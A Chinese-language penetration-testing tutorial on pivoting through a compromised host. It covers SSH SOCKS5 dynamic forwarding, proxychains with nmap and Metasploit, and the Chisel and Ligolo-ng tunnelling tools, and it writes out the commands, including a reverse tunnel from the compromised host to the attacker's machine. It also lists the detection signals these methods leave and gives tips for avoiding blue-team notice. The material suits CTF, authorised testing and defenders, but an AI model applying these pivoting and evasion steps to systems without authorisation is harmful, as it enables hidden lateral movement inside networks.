一個內部網路中單一被入侵的主機,若沒有可靠的中繼路徑,便毫無用處。透過 SSH 的 SOCKS5 隧道提供了最低延遲、最不受工具限制的橫向移動方法——然而大多數操作者設定錯誤,或留下法醫鑑識痕跡,讓有能力的藍隊能在數秒內發現。在 2024 年,正確設定的 SOCKS5 代理在原始 TCP 吞吐量上仍勝過 HTTP CONNECT 代理,且搭配 proxychains-ng 和 Chisel 等工具,你可以透過單一 SSH 工作階段路由 nmap、Metasploit 及自訂腳本,無需觸及目標的防火牆規則。
為何 SSH 上的 SOCKS5 勝過連接埠轉發
靜態本地連接埠轉發(-L)強迫你在與每個遠端服務互動前,先將其對應到本地連接埠。如果你需要掃描一個 /24 子網路,就必須建立 254 個獨立的轉發。SOCKS5 動態轉發(-D)解決了這個問題,它暴露一個本地 SOCKS5 代理,可透過 SSH 隧道將任何 TCP 連線路由到遠端主機。該協定定義於 RFC 1928,並處理認證、UDP(選用)及 IPv6。實務上,你會得到一個單一的本地監聽器——通常在 127.0.0.1:1080——而任何支援 SOCKS 代理的工具都能使用它。開銷極小:SSH 的加密大約增加 5-10% 的 CPU 使用,但延遲遠低於 VPN 或透過網頁 shell 的反向連接埠轉發。
在 Linux 立足點上設定 SOCKS5 監聽器
假設你在目標網路內的一台 Linux 主機上取得了一個 shell。建立中繼最快的方式是從被入侵的主機執行 ssh -D 1080 -N -f user@your-listener 回到你的攻擊機器。但這需要出站 SSH 存取,可能已被封鎖。相反地,從你的攻擊機器對被入侵主機執行動態轉發:
ssh -D 1080 -N -f compromised_user@compromised_host
這會在本地連接埠 1080 上開啟一個 SOCKS5 代理。現在設定 proxychains-ng(/etc/proxychains.conf)來使用該代理:
socks5 127.0.0.1 1080
然後透過隧道執行任何 TCP 工具:
proxychains4 nmap -sT -Pn -p 445,3389 10.10.10.0/24
請注意,nmap 需要 -sT(TCP 連線掃描),因為 SOCKS5 不支援原始 SYN 封包。對於 Metasploit,設定 setg Proxies socks5:127.0.0.1:1080,所有輔助與漏洞利用模組就會透過中繼路由。此技術適用於 Hack The Box 或 Proving Grounds 等 CTF 環境,目標是到達第二個子網路。
Chisel、Ligolo-ng 及其取捨
當 SSH 不可用時——可能是目標執行 Windows 或沒有 SSH 伺服器——替代隧道工具填補了這個缺口。Chisel 使用基於 Go 的客戶端與伺服器,透過 HTTP/HTTPS 隧道傳輸 TCP。在你的攻擊機器上執行伺服器:chisel server -p 8000 --reverse。在被入侵主機上執行客戶端:chisel client your_ip:8000 R:socks。這會在伺服器端提供一個 SOCKS5 監聽器。Chisel 速度快,且能穿透嚴格的出口過濾器,但其流量預設未加密——如果你在意操作安全,請用 TLS 包裝或使用 SSH。
Ligolo-ng 採用了不同的方法:它使用 TUN/TAP 介面在第 3 層建立網路隧道。與其使用 SOCKS5,你可以將整個 IP 範圍透過中繼路由。這表示你可以執行 nmap -sS(SYN 掃描)而無需 proxychains。其代價是管理開銷:你需要在兩端都有 root 權限,且隧道設定需要在你的攻擊機器上新增路由。對於你能控制雙方的 CTF 環境,Ligolo-ng 更快。在真實演練中,SOCKS5 方法更具可攜性,因為它在中繼主機上無需提升權限即可運作。
攻擊者留下的偵測訊號
每一種中繼方法都會留下痕跡。SSH 動態轉發會在被入侵主機上建立一個監聽 socket——ss -tlnp 會顯示一個 ssh 行程繫結在 127.0.0.1:1080。藍隊可以將此與對外部 IP 的出站 SSH 連線進行關聯。Chisel 的客戶端行程預設名為 chisel——透過行程監控很容易偵測。Ligolo-ng 需要一個 TUN 裝置(ip link show),這在伺服器上是不正常的。
更糟的是,許多操作者忘記清理。SSH 工作階段會持續存在,直到遠端主機將其終止或連線中斷。Proxychains 不會留下本地痕跡,但 nmap 流量本身——來自通常不進行掃描的主機的例外連接埠掃描——會觸發 IDS 警報。最常見的錯誤是重複使用預設的 SOCKS5 連接埠 1080。將其改為高位暫用連接埠(例如 ssh -D 53421),並為 proxychains 設定別名,以避免留下預設設定檔。在 CTF 中,這些都不重要。在真實的滲透測試中,這些訊號就是你被逮到的方式。